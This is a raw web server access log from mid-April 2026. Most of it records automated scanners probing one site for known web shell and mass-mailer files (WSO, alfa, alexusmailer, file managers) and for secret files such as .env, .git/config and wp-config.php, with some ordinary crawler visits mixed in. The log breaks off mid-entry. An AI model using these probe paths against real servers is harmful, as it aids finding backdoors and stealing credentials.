4.205.44.31 - - [15/Apr/2026:06:48:36 +0300] "GET /rt.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:48:56 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:30 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:50 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:52 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:56 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:57 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:54 +0300] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:58 +0300] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:52 +0300] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:14 +0300] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:49 +0300] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:08 +0300] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:11 +0300] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:40 +0300] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 43.157.98.187 - - [15/Apr/2026:07:08:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.248.127.178 - - [15/Apr/2026:06:01:44 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 4.205.44.31 - - [15/Apr/2026:06:45:56 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:45:56 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:45:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:45:56 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:34 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:05 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:59 +0300] "GET /chosen/chosen.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:08 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:43 +0300] "GET /wp-conffg.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:07 +0300] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:31 +0300] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:45:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:40 +0300] "GET /%E2%80%89goods.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:14 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:26 +0300] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:16 +0300] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:19 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:51 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:55 +0300] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 43.133.66.51 - - [15/Apr/2026:06:17:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.205.44.31 - - [15/Apr/2026:06:47:55 +0300] "GET /file/chosen.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:21 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:31 +0300] "GET /ty.php?act=upload HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:48 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:58 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:20 +0300] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:48 +0300] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:12 +0300] "GET /sad/about.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:18 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:21 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:27 +0300] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:15 +0300] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:26 +0300] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:29 +0300] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:56 +0300] "GET /pomo.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:59 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:59:02 +0300] "GET /t/rfi.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:08 +0300] "GET /unsubscribe.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:42 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:50 +0300] "GET /as/chosen.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:48:16 +0300] "GET /ll.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:16 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:16 +0300] "GET /wp-signup.php? HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:07 +0300] "GET /config-backup.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:44 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:55 +0300] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:58 +0300] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:01 +0300] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:44 +0300] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:48 +0300] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:36 +0300] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:50 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:48:49 +0300] "GET /ex.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:02 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:34 +0300] "GET /wp-admin/post.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:43 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:54 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:58 +0300] "GET /it.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:07 +0300] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:59 +0300] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:05 +0300] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:56 +0300] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:02 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:57:06 +0300] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:21 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:20 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:14 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:24 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:49:58 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:00 +0300] "GET /66.php?p= HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:46 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:38 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:39 +0300] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:20 +0300] "GET /if.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:31 +0300] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:52:42 +0300] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:54:31 +0300] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:12 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:04 +0300] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:34 +0300] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:45 +0300] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:49 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:52 +0300] "GET /date.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [15/Apr/2026:08:50:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 217.181.80.75 - - [15/Apr/2026:08:24:35 +0300] "GET http://eliteewallet.com/robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.3" 195.63.24.216 - - [15/Apr/2026:08:24:36 +0300] "GET http://eliteewallet.com/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 146.190.102.77 - - [15/Apr/2026:08:59:23 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 139.28.219.68 - - [15/Apr/2026:09:52:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 80.85.247.231 - - [15/Apr/2026:09:44:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27.46.75.5 - - [15/Apr/2026:11:25:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.3417.138 Safari/537.36 Edge/18.18362" 44.209.43.227 - - [15/Apr/2026:12:17:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 199.244.88.223 - - [15/Apr/2026:12:28:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 162.62.231.139 - - [15/Apr/2026:12:13:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.224.92.120 - - [15/Apr/2026:12:30:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 104.248.127.178 - - [15/Apr/2026:14:07:44 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 43.156.204.134 - - [15/Apr/2026:13:00:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.248.127.178 - - [15/Apr/2026:13:25:25 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.122.179.87 - - [15/Apr/2026:14:37:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\"" 101.42.46.71 - - [15/Apr/2026:12:46:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 163.172.176.83 - - [15/Apr/2026:16:39:25 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 108.254.180.97 - - [15/Apr/2026:16:00:18 +0300] "GET http://eliteewallet.com/wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.232.83.105 - - [15/Apr/2026:17:12:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.166.240.231 - - [15/Apr/2026:17:54:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 47.115.73.182 - - [15/Apr/2026:20:44:49 +0300] "GET /plus/img/df_dedetitle.gif HTTP/1.1" 301 795 "http://eliteewallet.com/plus/img/df_dedetitle.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 47.115.73.182 - - [15/Apr/2026:20:45:02 +0300] "GET /include/ckeditor/plugins/smiley/images/angel_smile.gif HTTP/1.1" 301 795 "http://eliteewallet.com/include/ckeditor/plugins/smiley/images/angel_smile.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 170.106.35.187 - - [15/Apr/2026:18:49:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.233.45.47 - - [15/Apr/2026:19:15:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.132.125.238 - - [15/Apr/2026:22:14:37 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 4.223.143.151 - - [15/Apr/2026:22:56:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 157.20.207.213 - - [15/Apr/2026:23:28:57 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 87.121.84.62 - - [16/Apr/2026:00:06:12 +0300] "GET /admin/assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 5.161.103.41 - - [16/Apr/2026:00:20:19 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.148.10.59 - - [16/Apr/2026:00:55:26 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15" 43.130.154.56 - - [16/Apr/2026:00:37:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 14.215.163.132 - - [16/Apr/2026:01:08:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.148.10.59 - - [16/Apr/2026:00:55:26 +0300] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15" 20.151.209.7 - - [16/Apr/2026:01:49:33 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.148.10.59 - - [16/Apr/2026:00:55:26 +0300] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 49.51.132.100 - - [16/Apr/2026:01:35:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.209.7 - - [16/Apr/2026:04:29:51 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.148.10.59 - - [16/Apr/2026:00:55:26 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.4 (x64 de)" 161.97.174.100 - - [16/Apr/2026:00:58:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.148.10.59 - - [16/Apr/2026:00:55:26 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 173.252.95.7 - - [16/Apr/2026:02:18:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 74.7.227.178 - - [16/Apr/2026:05:16:27 +0300] "GET / HTTP/1.1" 301 795 "http://www.alltopleveldomains.space" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 199.45.155.96 - - [16/Apr/2026:04:45:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 66.132.195.107 - - [16/Apr/2026:05:37:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 74.7.230.35 - - [16/Apr/2026:05:08:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 119.28.51.157 - - [16/Apr/2026:07:32:03 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.152.218 - - [16/Apr/2026:06:38:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.140.247.223 - - [16/Apr/2026:07:07:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.143.190 - - [16/Apr/2026:07:20:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.228.157.68 - - [16/Apr/2026:08:52:25 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 172.213.224.11 - - [16/Apr/2026:12:24:08 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:03 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:15 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:31:04 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:31:04 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:19:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:15 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:47 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:50 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:30 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:34 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:25:43 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:38 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:46 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:49 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:28 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:29 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:32:29 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:32:30 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:33:35 +0300] "GET //admin1.php HTTP/1.1" 301 795 "-" "-" 85.137.48.167 - - [16/Apr/2026:12:12:56 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 172.213.224.11 - - [16/Apr/2026:12:20:54 +0300] "GET /huya.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:04 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:24 +0300] "GET //wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:24 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:58 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:41 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:45 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:06 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:09 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:16 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:20 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:47 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:21 